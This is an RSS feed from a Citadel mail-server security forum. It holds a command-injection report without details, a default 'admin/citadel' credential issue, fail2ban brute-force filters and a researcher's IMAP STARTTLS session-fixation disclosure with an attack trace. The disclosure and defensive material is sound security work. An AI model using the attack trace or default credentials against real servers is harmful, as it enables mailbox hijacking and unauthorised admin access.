<?xml version="1.0"?><rss version="2.0"><channel><title>Citadel Security</title><link>http://uncensored.citadel.org/</link><description>
Please discuss and report any and all vulnerabilities here FIRST before reporting them to a national database. BE REALISTIC. Don&#39;t let your youthful optimism, idealism, and sense of do-goodery shoot this
project in the foot. THERE ARE REALITIES TO THOSE REPORTS.
 
 Also, According to both NIST &amp; Mitre
 
 &quot;You should make a GOOD FAITH EFFORT to NOTIFY the affected vendor and WORK WITH THEM to ENSURE that a patch is available PRIOR to PUBLICLY DISCLOSING the vulnerability.&quot; https://cve.mitre.org/cve/researcher_reservation_guidelines#researcher_reservat
ion_guidelines#2
 
 In other words, lets talk BEFORE you report/disclose publicly.  Dropping unwitting CVEs on us causes much wasted effort and many other problems.  It is time spent chasing the unnecessary, which could
go into actually fixing problems.
 
 Even so, we&#39;re all about that netsec.  Please come and join us.
 
 

</description><image><title>Citadel Security</title><url>http://uncensored.citadel.org/roompic?room=Citadel%20Security</url><link>http://uncensored.citadel.org/</link></image>
<description>Citadel Security</description>
<item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099516913</link><pubDate>Thu, 17 Apr 2025 18:04:01 -0000</pubDate><title>Re: Command injection vulnerability in Citadel Server 1010</title><guid isPermaLink="false">2099516913@Uncensored</guid><description><![CDATA[<html><body>

<p>I have sent you a PM now. Thanks!</p>
<p> </p>
<p>Augustus</p>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099516902</link><pubDate>Thu, 17 Apr 2025 17:08:05 -0000</pubDate><title>Re: Command injection vulnerability in Citadel Server 1010</title><guid isPermaLink="false">2099516902@Uncensored</guid><description><![CDATA[You can PM it to me and I will distribute it to the team for evaluation. 
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099516845</link><pubDate>Thu, 17 Apr 2025 13:02:27 -0000</pubDate><title>Command injection vulnerability in Citadel Server 1010</title><guid isPermaLink="false">2099516845@Uncensored</guid><description><![CDATA[<html><body>

<p>Hi!<br /><br />I have discovered a command injection vulnerability in Citadel Server which leads to RCE. It allows an authenticated user to execute arbitrary commands as the user running the citadel server. <br /><br />I have tested the exploit on "WebCit 1010 / Citadel Server 1010". <br />This vulnerability can in theory be exploited by any authenticated user given some restrictions. <br /><br />I can provide a detailed description and a proof of concept exploit script to showcase the exploit. What's the best way for me to do this?<br /><br />Thanks<br />Augustus</p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099495153</link><pubDate>Wed, 30 Oct 2024 16:10:24 -0000</pubDate><title>Re: Triggering script from mail filter</title><guid isPermaLink="false">2099495153@Uncensored</guid><description><![CDATA[<html><body>

<p> </p>
<blockquote>
<div class="message_header"><span>Tue Oct 29 2024 14:10:16 EDT</span> <span>from <a href="do_template?template=user_show?who=IGnatius T Foobar">IGnatius T Foobar</a> </span> <span class="message_subject">Subject: Re: Triggering script from mail filter</span></div>
<div class="message_content">
<div class="fmout-JUSTIFY">Currently there's not much in place to do this, but I'd be open to adding webhooks. What kind of events did you have in mind to trigger them? </div>
</div>
</blockquote>
<p>I was thinking of user and room creation notices, and possibly things like expiry notices.</p>
<p>Shifting to the standalone authentication seems to have fixed that security issue, so it's unlikely to happen unless I deliberately switch on sign-ups, but it would be handy to get a ping to check things.</p>
<p>I've not not the detailed to know if a webhook would do this, but it would be great if it does - I'm currently using scripts with curl to send pages via a restful API, which are fine for a manual trigger, but don't seem to want to cooperate with cron - that's likely another issue entirely, though.</p>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099495093</link><pubDate>Wed, 30 Oct 2024 12:31:07 -0000</pubDate><title>Re: Triggering script from mail filter</title><guid isPermaLink="false">2099495093@Uncensored</guid><description><![CDATA[<html><body>

<p> </p>
<blockquote>
<div class="message_header"><span>Tue Oct 29 2024 14:10:16 EDT</span> <span>from <a href="do_template?template=user_show?who=IGnatius T Foobar">IGnatius T Foobar</a> </span> <span class="message_subject">Subject: Re: Triggering script from mail filter</span></div>
<div class="message_content">
<div class="fmout-JUSTIFY">Currently there's not much in place to do this, but I'd be open to adding webhooks. What kind of events did you have in mind to trigger them? </div>
</div>
</blockquote>
<p>I was thinking of user and room creation notices, and possibly things like expiry notices.</p>
<p>Shifting to the standalone authentication seems to have fixed that security issue, so it's unlikely to happen unless I deliberately switch on sign-ups, but it would be handy to get a ping to check things.</p>
<p>I've not not the detailed to know if a webhook would do this, but it would be great if it does - I'm currently using scripts with curl to send pages via a restful API, which are fine for a manual trigger, but don't seem to want to cooperate with cron - that's likely another issue entirely, though.</p>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099494982</link><pubDate>Tue, 29 Oct 2024 18:10:16 -0000</pubDate><title>Re: Triggering script from mail filter</title><guid isPermaLink="false">2099494982@Uncensored</guid><description><![CDATA[Currently there's not much in place to do this, but I'd be open to adding
webhooks.  What kind of events did you have in mind to trigger them? 
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099494981</link><pubDate>Tue, 29 Oct 2024 18:07:11 -0000</pubDate><title>Re: Triggering script from mail filter</title><guid isPermaLink="false">2099494981@Uncensored</guid><description><![CDATA[<html><body>

<p>Not that it helps you any on the mechanics, but its 2024, myself id be looking at text messages to my phone instead of a pager.  ( either direct via some sms service or via a email gateway, most phone providers offer this now )</p>
<blockquote>
<div class="message_header"><span>Tue Oct 29 2024 14:01:27 EDT</span> <span>from <a href="do_template?template=user_show?who=BrotherPhil">BrotherPhil</a> </span> <span class="message_subject">Subject: Triggering script from mail filter</span></div>
<div class="message_content">
<p>I've been thinking about using a pager to give me some notifications about things happening on my host - largely so that I know that it's me doing them, or who is if not me.</p>
<p>As I use DAPNet, a simple way to do this would be a script to make an API call to send a predefined message. I don't see any obvious way to do this on Citadel, though. Is there a way to trigger scripts? </p>
<br /><br /></div>
</blockquote>
<p> </p>
</body></html>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099494977</link><pubDate>Tue, 29 Oct 2024 18:01:27 -0000</pubDate><title>Triggering script from mail filter</title><guid isPermaLink="false">2099494977@Uncensored</guid><description><![CDATA[<html><body>

<p>I've been thinking about using a pager to give me some notifications about things happening on my host - largely so that I know that it's me doing them, or who is if not me.</p>
<p>As I use DAPNet, a simple way to do this would be a script to make an API call to send a predefined message. I don't see any obvious way to do this on Citadel, though. Is there a way to trigger scripts? </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099350969</link><pubDate>Sat, 22 Jul 2023 12:23:13 -0000</pubDate><title>Re: Not sure if PEBKAC or security issue</title><guid isPermaLink="false">2099350969@Uncensored</guid><description><![CDATA[<html><body>

<p>I know this is an old post, but just now noticing this.  I wonder if that is what happened to me when i had my break-in, freaked out, and totally erased my VM. </p>
<blockquote>
<div class="message_header"><span>Sat Jul 23 2022 01:30:04 PM EDT</span> <span>from <a href="do_template?template=user_show?who=IGnatius T Foobar">IGnatius T Foobar</a> </span> <span class="message_subject">Subject: Re: Not sure if PEBKAC or security issue</span></div>
<div class="message_content">
<div class="fmout-JUSTIFY">You might be right about that. admin/citadel is the default administrator, which was done with the intention of eventually eliminating the setup program altogether. The prompts in the setup program don't work on that account specifically. Setup creates the account specified if it isn't there, and resets the password if it's already there. We should do something about that, so thanks for pointing it out. </div>
</div>
</blockquote>
<p> </p>
</body></html>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099339069</link><pubDate>Sat, 06 May 2023 05:19:44 -0000</pubDate><title>Re: Quick and dirty Fail2ban filter for Citadel..</title><guid isPermaLink="false">2099339069@Uncensored</guid><description><![CDATA[<html><body>

<p>i figured it out. here what i'was change to get it working: current debian 11 installation.</p>
<p><strong>file: /etc/fail2ban/filter.d/citadel.conf</strong></p>
<p>##<br /><br /># Fail2Ban filter for citadel (citserver)<br />#<br /># Citadel should default to log incorrect passwords by &lt;service&gt;. This SHOULD<br /># include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.<br /># but has only been tested for webcit, and smtp..<br /><br />[INCLUDES]<br /><br />before = common.conf<br /><br />[Definition]<br /><br />_daemon = citserver<br /><br /># Option:  failregex<br /># Notes.:  regex to match yer password failures messages in yer logfile.<br /># Values:  TEXT<br /><br />failregex = ^%(__prefix_line)suser_ops: bad password specified for &lt;[^&gt;]+&gt; Service &lt;[^&gt;]+&gt; Port &lt;[^&gt;]+&gt; Remote &lt;&lt;HOST&gt;<br />#failregex = .*Permission denied.* &lt;HOST&gt;<br /><br /><br /># Option:  ignoreregex<br /># Notes.:  regex to ignore. If this regex matches, the line is ignored.<br /># Values:  TEXT<br />#<br />ignoreregex = <br /><br />maxretry = 1<br />findtime = 1h<br /><br />banaction = /etc/fail2ban/action.d/iptables-mu
<p><strong>file: /etc/fail2ban/action.d/iptables-multiport.conf</strong></p>
<p># Fail2Ban configuration file<br />#<br /># Author: Cyril Jaquier<br /># Modified by Yaroslav Halchenko for multiport banning<br />#<br /><br />[INCLUDES]<br /><br />before = iptables-common.conf<br /><br />[Definition]<br /><br /># Option:  actionstart<br /># Notes.:  command executed on demand at the first ban (or at the start of Fail2Ban if actionstart_on_demand is set to false).<br /># Values:  CMD<br />#<br />actionstart = &lt;iptables&gt; -N f2b-&lt;name&gt;<br />              &lt;iptables&gt; -A f2b-&lt;name&gt; -j &lt;returntype&gt;<br />              &lt;iptables&gt; -I &lt;chain&gt; -p &lt;protocol&gt; -m multiport --dports 0:65535 -j f2b-&lt;name&gt;<br /><br /># Option:  actionstop<br /># Notes.:  command executed at the stop of jail (or at the end of Fail2Ban)<br /># Values:  CMD<br />#<br />actionstop = &lt;iptables&gt; -D &lt;chain&gt; -p &lt;protocol&gt; -m multiport --dports 0:65535 -j f2b-&lt;name&gt;<br />             &lt;actionflush&gt;<br />
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 19:58:40 EDT</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]</p>
<p>install fail2ban according to the way you do it for you..</p>
<p>Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .</p>
<p>The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. </p>
<p>It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..</p>
<p>[This will take time, and we can use any/all help.]</p>
<p>But, this will definitely stop the brute forcing.  I banned &amp; blocked myself several times with it last night.. :)</p>
<p>1) Add this filter (maybe in /etc/fail2ban/filter.d/<strong>citadel.conf</strong>, or whatever suits your setup)</p>
<p>[Follow down below, more after the file.. ]</p>
<p>##</p>
<p># Fail2Ban filter for citadel (citserver)<br />#<br /># Citadel should default to log incorrect passwords by &lt;service&gt;. This SHOULD <br /># include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.<br /># but has only been tested for webcit, and smtp.. <br /><br />[INCLUDES]<br /><br />before = common.conf<br /><br />[Definition]<br /><br />_daemon = citserver<br /><br /># Option:  failregex<br /># Notes.:  regex to match yer password failures messages in yer logfile.<br /># Values:  TEXT<br /><br />failregex = ^%(__prefix_line)suser_ops: bad password specified for &lt;[^&gt;]+&gt; Service &lt;[^&gt;]+&gt; Port &lt;[^&gt;]+&gt; Remote &lt;&lt;HOST&gt;<br /><br /># Option:  ignoreregex<br /># Notes.:  regex to ignore. If this regex matches, the line is ignored.<br /># Values:  TEXT<br />#<br />ignoreregex =</p>
<p>###</p>
<p>2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]</p>
<pre style="font-family: mono;">[citadel] 
bantime = 1h 
logpath = /var/log/syslog
</pre>
<p> </p>
<p>3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )</p>
<p> </p>
<p>[sshd]<br />enabled = true<br /><br />[citadel]<br />enabled = true</p>
<p> </p>
<p>4) Restart fail2ban, however you like to do it.  maybe:</p>
<p>service fail2ban restart</p>
<p>5) Check to see if your new jail is active..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status<br />Status<br />|- Number of jail:    2<br />`- Jail list:    citadel, sshd</p>
<p>6) Check for bans..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel<br />Status for the jail: citadel<br />|- Filter<br />|  |- Currently failed:    0<br />|  |- Total failed:    225<br />|  `- File list:    /var/log/syslog<br />`- Actions<br />   |- Currently banned:    25<br />   |- Total banned:    225<br />   `- Banned IP list:    ....<br /><br />I'll try to get a proper procedure written for you sometime ...</p>
<p><br /><br /></p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099325354</link><pubDate>Wed, 08 Feb 2023 04:41:33 -0000</pubDate><title>Re: Not sure if PEBKAC or security issue</title><guid isPermaLink="false">2099325354@Uncensored</guid><description><![CDATA[]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099306410</link><pubDate>Sat, 23 Jul 2022 17:30:04 -0000</pubDate><title>Re: Not sure if PEBKAC or security issue</title><guid isPermaLink="false">2099306410@Uncensored</guid><description><![CDATA[You might be right about that.  admin/citadel is the default administrator,
which was done with the intention of eventually eliminating the setup program
altogether.   The prompts in the setup program don't work on that account
specifically.  Setup creates the account specified if it isn't there, and
resets the password if it's already there.   We should do something about
that, so thanks for pointing it out. 
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099305511</link><pubDate>Sat, 09 Jul 2022 08:19:52 -0000</pubDate><title>Not sure if PEBKAC or security issue</title><guid isPermaLink="false">2099305511@Uncensored</guid><description><![CDATA[<html><body>

<p>Followed the guide here: https://pimylifeup.com/raspberry-pi-email-server/</p>
<p>During setup I defined the new username for citadel admin, added a 64char pw (autogenerated, random with special chars enabled). No messages shown something was up. After setup finished tried to log in with user/pass that I've configured and got a "password wrong" error message.</p>
<p>Tried to see how to reset password, found the FAQ entry, but did not go through with that before trying:</p>
<p>- user: admin<br />- pass: citadel</p>
<p>And somehow this combination worked, even though it should've been overwritten during setup.</p>
<p>In my now running citadel environment I see both users listed. </p>
<p>--------------</p>
<p>I *think* that during setup, the default admin user configuration does not overwrite the user admin but just adds a user. If this is the case there could be a lof of citadel environments insecure.</p>
<p>But as subject says, I can be the problem :)</p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099267492</link><pubDate>Wed, 02 Jun 2021 18:19:32 -0000</pubDate><title>IP Based Relaying thru Citadel</title><guid isPermaLink="false">2099267492@Uncensored</guid><description><![CDATA[<html><body>

<p>I've had to abandon my HMAIL server (Windows XP PRO issues activating)</p>
<p>I have installed a Debian system with Citadel. I am looking to do some relaying of email from specific IP addresses from old devices that cannot handle auth.</p>
<p>Is it possible thru Citadel and can it be done via the web manager? Or will it have to be done via CLI?</p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099264259</link><pubDate>Mon, 10 May 2021 11:43:40 -0000</pubDate><title>IMAP/POP3 Session Fixation</title><guid isPermaLink="false">2099264259@Uncensored</guid><description><![CDATA[<html><body>

<p>Hello,</p>
<p>during our security research into mail servers at FH Münster University of Applied Sciences, we found another vulnerability in Citadel 931. This vulnerability is what we call a session fixation (even though it's not exactly the same as a web-based session fixation).</p>
<p>This vulnerability is related to STARTTLS and requires a network Meddler-in-the-Middle between mail client and the citadel server. Consider the following simplified IMAP trace (A: Attacker, C: Client, S: Server):</p>
<blockquote>
<p>S: * OK //...<br />A: A LOGIN attacker pass<br />S: A OK //...<br />C: B STARTTLS<br />S: A OK begin TLS negotiation now<br />---- TLS Handshake ----<br />// ...<br />C: X FETCH 1 BODY[]<br />// This will fetch a mail from the attacker's mailbox<br />C: * 1 FETCH (BODY[] {859}<br />S: From: ...<br />S: To: ...<br />S: Subject: Crafted E-mail<br />S: //...<br />S: Crafted E-Mail Body<br />S: X OK FETCH completed<br />C: Y APPEND "Sent" (\SEEN) {676}<br />C: From: ...<br />C: To: ...<br />C: <br />C: Hello, ...<br />S: Y OK<br />// This will append the e-mail to attacker's mailbox</p>
</blockquote>
<p>As you can see from the above trace, it allows an attacker to fixate their own session in the plaintext phase of the STARTTLS connection. This potentially allows an attacker to present their own mailbox to the client and get any synchronized mails from the client. This will, however, depend on how the user's mail client reacts to an already authenticated session.</p>
<p>The same vulnerability is present in POP3, but more limited, as POP3 does not allow users to upload their own mails.</p>
<p>The main issue in our opinion is allowing any user authentication before STARTTLS (since any authentication data will be sent in plaintext). However, if this is needed by some users, a quick mitigation would be to disallow STARTTLS after user authentication. This fix would be aligned with RFC2595 which states that<br />"The STARTTLS command is only valid in non-authenticated state."</p>
<p>If you have any questions, feel free to get back to me.<br /><br />Best regards,<br />Murgi</p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099262295</link><pubDate>Wed, 28 Apr 2021 00:26:03 -0000</pubDate><title>Re: Quick and dirty Fail2ban filter for Citadel.. (Resolved)</title><guid isPermaLink="false">2099262295@Uncensored</guid><description><![CDATA[<html><body>

<p>I figured it out.  </p>
<blockquote>
<div class="message_header"><span>Tue Apr 27 2021 19:11:47 EDT</span> <span>from <a href="do_template?template=user_show?who=awrdgrs">awrdgrs</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>Thanks for posting this.  Unfortunately it will not work on my server.  I'm wondering what I could be doing wrong.</p>
<p>fail2ban loads without error and when I run (fail2ban-client status citadel) I get the following:</p>
<p><strong>|- Filter</strong></p>
<p><strong>|  |- Currently failed: 0</strong></p>
<p><strong>|  |- Total failed:     0</strong></p>
<p><strong>|  `- File list:        /var/log/citadel.log</strong></p>
<p><strong>`- Actions</strong></p>
<p><strong>   |- Currently banned: 0</strong></p>
<p><strong>   |- Total banned:     0</strong></p>
<p><strong>   `- Banned IP list:</strong></p>
<p> </p>
<p>I copied out a Bad password line from the log to test.log and ran the following:</p>
<p>fail2ban-regex ./test.log citadel               </p>
<p>Here is the result: (The logfile line is at the bottom.  I replaced the IP and username)</p>
<p><strong><br /></strong></p>
<p><strong>Running tests</strong></p>
<p><strong>=============</strong></p>
<p><strong>Use   failregex filter file : citadel, basedir: /etc/fail2ban</strong></p>
<p><strong>Use      datepattern : Default Detectors</strong></p>
<p><strong>Use         log file : ./test.log</strong></p>
<p><strong>Use         encoding : UTF-8</strong></p>
<p> </p>
<p><strong>Results</strong></p>
<p><strong>=======</strong></p>
<p><strong>Failregex: 0 total</strong></p>
<p><strong>Ignoreregex: 0 total</strong></p>
<p> </p>
<p><strong>Date template hits:</strong></p>
<p><strong>|- [# of hits] date format</strong></p>
<p><strong>|  [1] {^LN-BEG}(?:DAY )?MON Day %k:Minute:Second(?:\.Microseconds)?(?: ExYear)?</strong></p>
<p><strong>`-</strong></p>
<p><strong>Lines: 1 lines, 0 ignored, 0 matched, 1 missed</strong></p>
<p><strong>[processed in 0.00 sec]</strong></p>
<p> </p>
<p><strong>|- Missed line(s):</strong></p>
<p><strong>|  Apr 27 20:52:22 host1 citserver[5990]: Context: Bad password specified for &lt;testuser&gt; Service &lt;SMTP-MSA&gt; Port &lt;587&gt; Remote &lt;192.168.1.1 / 192.168.1.1&gt;</strong></p>
<div> </div>
<div>Any help is appreciated.  </div>
<div> </div>
<div> </div>
<blockquote>
<div class="message_header"><span>Wed Jan 13 2021 14:36:14 EST</span> <span>from <a href="do_template?template=user_show?who=omatnet">omatnet</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>I didn't test the filter with fail2ban-regex. Instead I tested it by running two console windows on one IP and a browser on another IP, on one I was monitoring the mail.log file (using "watch tail /var/log/mail.log") on the next I was checking the jail status: "sudo fail2ban-client status citadel" and on the third I accessed WebCit with a browser and deliberately typing wrong passwords. It worked like a charm - in each wrong password login attempt the right info line was added to mail.log and after 3 attempts (in my case maxretry = 3) fail2ban jailed the IP. So the filter works.</p>
<p>I noticed however that the filter does not work for login attempts where the username does not exist in the system and the offender it only trying to guess a username. However, it seems that Citadel doesn't generate any log line in this case anyway.</p>
<blockquote>
<div class="message_header"><span>Wed Jan 13 2021 02:15:46 EST</span> <span>from <a href="do_template?template=user_show?who=Michael">Michael</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>Have you tried testing the filter via command line? fail2ban-regex &lt;path to log&gt; filter_name</p>
<blockquote>
<div class="message_header"><span>Mon Jan 11 2021 12:25:43 EST</span> <span>from <a href="do_template?template=user_show?who=omatnet">omatnet</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>It works well for me also with log level of 6. However I noticed something else and not sure if it is an issue: At times, the Citadel mail log doesn't list the IP address of the calling machine, but the domain name (if it resolves to a domain name).</p>
<p>Do you have any idea if fail2ban will still handle a domain name in the log the same way it would an IP?</p>
<p> </p>
<p>Also, in my case I decided that any banned remote machine should be banned on all ports, not only on the mail ports or ssh port etc. So I changed the iptables port command (action.d/iptables-multiport.conf) from &lt;port&gt; to be 0:65535. This also solves any other tweaks that will be needed when using non-standard ports (or otherwise fail2ban will report banning, but will not actually ban the IP as the ban would be on the wrong port).</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Sun Jan 10 2021 22:40:26 EST</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..</p>
<p>IIRC something like:</p>
<p>/usr/local/citadel/citserver -x7 # which I forgot to document. :O</p>
<p>[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See <a href="https://citadel.org/loglevel.html" target="webcit01">https://citadel.org/loglevel.html</a> but, the doc with the switches is harder to find, it may be still on the Wayback machine.]</p>
<p>I did that so I could see the output as I was working on the filter. </p>
<p>I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..</p>
<p>And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.</p>
<p>Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.<code></code></p>
<p><code>fail2ban-client set citadel unbanip &lt;your-ip-address&gt;</code></p>
<p>Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. </p>
<p>IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 07:58:40 PM EDT</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]</p>
<p>install fail2ban according to the way you do it for you..</p>
<p>Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .</p>
<p>The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. </p>
<p>It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..</p>
<p>[This will take time, and we can use any/all help.]</p>
<p>But, this will definitely stop the brute forcing.  I banned &amp; blocked myself several times with it last night.. :)</p>
<p>1) Add this filter (maybe in /etc/fail2ban/filter.d/<strong>citadel.conf</strong>, or whatever suits your setup)</p>
<p>[Follow down below, more after the file.. ]</p>
<p>##</p>
<p># Fail2Ban filter for citadel (citserver)<br />#<br /># Citadel should default to log incorrect passwords by &lt;service&gt;. This SHOULD <br /># include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.<br /># but has only been tested for webcit, and smtp.. <br /><br />[INCLUDES]<br /><br />before = common.conf<br /><br />[Definition]<br /><br />_daemon = citserver<br /><br /># Option:  failregex<br /># Notes.:  regex to match yer password failures messages in yer logfile.<br /># Values:  TEXT<br /><br />failregex = ^%(__prefix_line)suser_ops: bad password specified for &lt;[^&gt;]+&gt; Service &lt;[^&gt;]+&gt; Port &lt;[^&gt;]+&gt; Remote &lt;&lt;HOST&gt;<br /><br /># Option:  ignoreregex<br /># Notes.:  regex to ignore. If this regex matches, the line is ignored.<br /># Values:  TEXT<br />#<br />ignoreregex =</p>
<p>###</p>
<p>2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]</p>
<pre style="font-family: mono;">[citadel] 
bantime = 1h 
logpath = /var/log/syslog
</pre>
<p> </p>
<p>3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )</p>
<p> </p>
<p>[sshd]<br />enabled = true<br /><br />[citadel]<br />enabled = true</p>
<p> </p>
<p>4) Restart fail2ban, however you like to do it.  maybe:</p>
<p>service fail2ban restart</p>
<p>5) Check to see if your new jail is active..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status<br />Status<br />|- Number of jail:    2<br />`- Jail list:    citadel, sshd</p>
<p>6) Check for bans..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel<br />Status for the jail: citadel<br />|- Filter<br />|  |- Currently failed:    0<br />|  |- Total failed:    225<br />|  `- File list:    /var/log/syslog<br />`- Actions<br />   |- Currently banned:    25<br />   |- Total banned:    225<br />   `- Banned IP list:    ....<br /><br />I'll try to get a proper procedure written for you sometime ...</p>
<p><br /><br /></p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099262286</link><pubDate>Tue, 27 Apr 2021 23:11:47 -0000</pubDate><title>Re: Quick and dirty Fail2ban filter for Citadel..</title><guid isPermaLink="false">2099262286@Uncensored</guid><description><![CDATA[<html><body>

<p>Thanks for posting this.  Unfortunately it will not work on my server.  I'm wondering what I could be doing wrong.</p>
<p>fail2ban loads without error and when I run (fail2ban-client status citadel) I get the following:</p>
<p><strong>|- Filter</strong></p>
<p><strong>|  |- Currently failed: 0</strong></p>
<p><strong>|  |- Total failed:     0</strong></p>
<p><strong>|  `- File list:        /var/log/citadel.log</strong></p>
<p><strong>`- Actions</strong></p>
<p><strong>   |- Currently banned: 0</strong></p>
<p><strong>   |- Total banned:     0</strong></p>
<p><strong>   `- Banned IP list:</strong></p>
<p> </p>
<p>I copied out a Bad password line from the log to test.log and ran the following:</p>
<p>fail2ban-regex ./test.log citadel               </p>
<p>Here is the result: (The logfile line is at the bottom.  I replaced the IP and username)</p>
<p><strong><br /></strong></p>
<p><strong>Running tests</strong></p>
<p><strong>=============</strong></p>
<p><strong>Use   failregex filter file : citadel, basedir: /etc/fail2ban</strong></p>
<p><strong>Use      datepattern : Default Detectors</strong></p>
<p><strong>Use         log file : ./test.log</strong></p>
<p><strong>Use         encoding : UTF-8</strong></p>
<p> </p>
<p><strong>Results</strong></p>
<p><strong>=======</strong></p>
<p><strong>Failregex: 0 total</strong></p>
<p><strong>Ignoreregex: 0 total</strong></p>
<p> </p>
<p><strong>Date template hits:</strong></p>
<p><strong>|- [# of hits] date format</strong></p>
<p><strong>|  [1] {^LN-BEG}(?:DAY )?MON Day %k:Minute:Second(?:\.Microseconds)?(?: ExYear)?</strong></p>
<p><strong>`-</strong></p>
<p><strong>Lines: 1 lines, 0 ignored, 0 matched, 1 missed</strong></p>
<p><strong>[processed in 0.00 sec]</strong></p>
<p> </p>
<p><strong>|- Missed line(s):</strong></p>
<p><strong>|  Apr 27 20:52:22 host1 citserver[5990]: Context: Bad password specified for &lt;testuser&gt; Service &lt;SMTP-MSA&gt; Port &lt;587&gt; Remote &lt;192.168.1.1 / 192.168.1.1&gt;</strong></p>
<div> </div>
<div>Any help is appreciated.  </div>
<div> </div>
<div> </div>
<blockquote>
<div class="message_header"><span>Wed Jan 13 2021 14:36:14 EST</span> <span>from <a href="do_template?template=user_show?who=omatnet">omatnet</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>I didn't test the filter with fail2ban-regex. Instead I tested it by running two console windows on one IP and a browser on another IP, on one I was monitoring the mail.log file (using "watch tail /var/log/mail.log") on the next I was checking the jail status: "sudo fail2ban-client status citadel" and on the third I accessed WebCit with a browser and deliberately typing wrong passwords. It worked like a charm - in each wrong password login attempt the right info line was added to mail.log and after 3 attempts (in my case maxretry = 3) fail2ban jailed the IP. So the filter works.</p>
